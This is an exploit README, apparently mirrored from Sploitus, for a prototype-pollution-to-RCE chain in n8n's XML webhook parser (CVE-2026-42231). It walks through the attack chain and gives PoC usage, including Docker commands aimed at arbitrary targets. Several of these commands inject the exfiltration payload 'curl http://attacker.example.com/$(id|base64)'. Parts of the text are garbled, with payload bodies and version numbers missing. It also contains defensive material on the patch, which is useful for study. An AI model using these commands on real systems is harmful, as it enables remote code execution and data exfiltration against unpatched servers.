## https://sploitus.com/exploit?id=DD446CAA-DE19-5981-A346-BFBEEE3C37E1
# GHSA-q5f4-99jv-pgg5 โ n8n XML Webhook Prototype Pollution โ RCE
**CVE:** CVE-2026-42231
**Severity:** Critical (CVSS 10.0)
**Affected:** n8n ` element.
`xml2js 0.6.2` uses `Object.defineProperty` with a data descriptor to set
element keys on parsed objects. Because `'__proto__' in obj` is always
`true`, `assignOrPush()` wraps the value in an array and stores it as an
**own enumerable data property** โ bypassing the `[[Set]]` accessor that
would normally update the prototype chain safely.
The own `__proto__` property survives `JSON.stringify` (executed when n8n
persists execution data to SQLite/PostgreSQL), and after `JSON.parse` on
reload a subsequent `Object.assign(target, reloadedBody)` reroutes
`target`'s prototype to the attacker-controlled object.
In workflows that also contain a **Git node** performing an SSH operation,
the polluted prototype exposes a `spawnOptions` / `GIT_SSH_COMMAND` value
to `simple-git`'s `createInstanceConfig`, enabling OS-level command
execution.
---
## Root Cause
```typescript
// packages/cli/src/middlewares/body-parser.ts (VULNERABLE โ = 1.123.32):**
```typescript
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
```
---
## Exploitation Chain
```
1. Attacker sends XML POST to a public Webhook trigger:
POST /webhook/ Content-Type: application/xml
true
2. xml2js body parser creates req.body.root where '__proto__' is an
OWN ENUMERABLE DATA PROPERTY:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
โ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. n8n's deepCopy() iterates own keys via for...in + hasOwnProp.
The assignment clone['__proto__'] = deepCopy(attackerArray)
silently replaces clone's prototype via the [[Set]] accessor.
4. n8n serialises execution data to DB:
JSON.stringify(body.root)
โ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
The __proto__ key is included because it is own and enumerable.
Confirmed in the execution_data table in SQLite.
5. On reload, JSON.parse recreates '__proto__' as an own data property
(plain object, no array wrapping).
Object.assign(gitOptions, reloadedBody)
reroutes gitOptions's prototype to the attacker-controlled object.
6. When the Git node calls simpleGit(gitOptions):
createInstanceConfig(gitOptions)
reads config.spawnOptions via the prototype chain โ truthy โ
spawnOptionsPlugin is registered.
With GIT_SSH_COMMAND in the env object, git executes the attacker's
command on the next SSH operation.
```
### Note on `normalizeTags`
`normalizeTags: true` lowercases **all** XML tag names, so child elements
like `` become `git_ssh_command` in the parsed object.
To preserve case for environment variable names, use XML **attributes**
(attribute names are **not** normalised by `normalizeTags`):
```xml
```
---
## Pre-requisites
1. A **public Webhook trigger** (Authentication = None, Content-Type = XML)
must exist in an active workflow.
2. For the full RCE path, the workflow must also contain a **Git node**
performing an SSH-authenticated operation (clone / push via SSH URL).
3. n8n version **` tag โ `GIT_SSH_COMMAND` as XML attribute |
| B | `` chain |
| C | Nested `` with `env` attributes |
### 4. Observe the result (with Git node in workflow)
- In the n8n execution log, look for the git command error โ it will
include output from your injected `GIT_SSH_COMMAND` if RCE fired.
- In demo mode with the Code node, the workflow response body will
contain `"step4_objectAssignPolluted": true` confirming the chain.
---
## Standalone Usage (without Docker)
```bash
pip install -r requirements.txt
# Verify only โ no Git node required:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id \
--demo
# Full exploit โ requires Webhook + Git/SSH node workflow:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id \
--cmd 'curl http://attacker.example.com/$(id|base64)'
```
### Webhook URL format (n8n v1.123.x)
In some deployments n8n registers the webhook as
`/webhook//webhook/`. If the short form
`/webhook/` returns 404, pass the workflow-ID prefix as `--target`:
```bash
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target "http://n8n.target.com/webhook/" \
--webhook-id \
--demo
```
---
## Local Verification (Node.js, no live instance needed)
Reproduces the exact xml2js parser config used by n8n and steps through
all four chain stages:
```bash
cd /tmp/xml2js-test && npm install xml2js@0.6.2
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js
```
Expected output on **vulnerable** config:
```
[STEP 1] VULNERABLE โ '__proto__' is own enumerable data property
descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed โ clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign โ target.polluted = "undefined"
[ RCE ] If target is used as simpleGit config AND the prototype exposes
e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ] simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
โโ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) โโ
```
---
## Manual Docker Commands
```bash
# Build the attacker image
docker build -t n8n-proto-pollution-poc .
# Demo mode (attaches to the shared lab network)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/ \
--webhook-id cve-2026-42231-poc \
--demo
# Full exploit
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/ \
--webhook-id cve-2026-42231-poc \
--cmd 'curl http://attacker.example.com/$(id|base64)'
# Against an external target (no network flag needed)
docker run --rm n8n-proto-pollution-poc \
--target https://n8n.example.com \
--webhook-id \
--demo
```
---
## Cleanup
```bash
./exploit.sh clean
```
Stops containers and removes volumes (including the SQLite database).
---
## Files
| File | Description |
|------|-------------|
| `poc_GHSA-q5f4-99jv-pgg5.py` | Standalone Python HTTP PoC โ three XML payload variants, `--demo` and `--cmd` modes |
| `verify_GHSA-q5f4-99jv-pgg5.js` | Node.js local chain verifier โ steps through all 4 exploitation stages without a live instance |
| `Dockerfile` | Attacker container image |
| `docker-compose.yml` | Full lab: vulnerable n8n + attacker container |
| `exploit.sh` | Helper script for setup, demo, exploit, and cleanup |
| `requirements.txt` | Python dependencies |
---
## References
- [GHSA-q5f4-99jv-pgg5](https://github.com/advisories/GHSA-q5f4-99jv-pgg5)
- [n8n release 1.123.32 changelog](https://github.com/n8n-io/n8n/releases/tag/n8n%401.123.32)
- [xml2js assignOrPush โ `Object.defineProperty` data descriptor](https://github.com/Leonidas-from-XIV/node-xml2js/blob/master/lib/parser.js)
- [Prototype Pollution via `Object.defineProperty`](https://portswigger.net/web-security/prototype-pollution)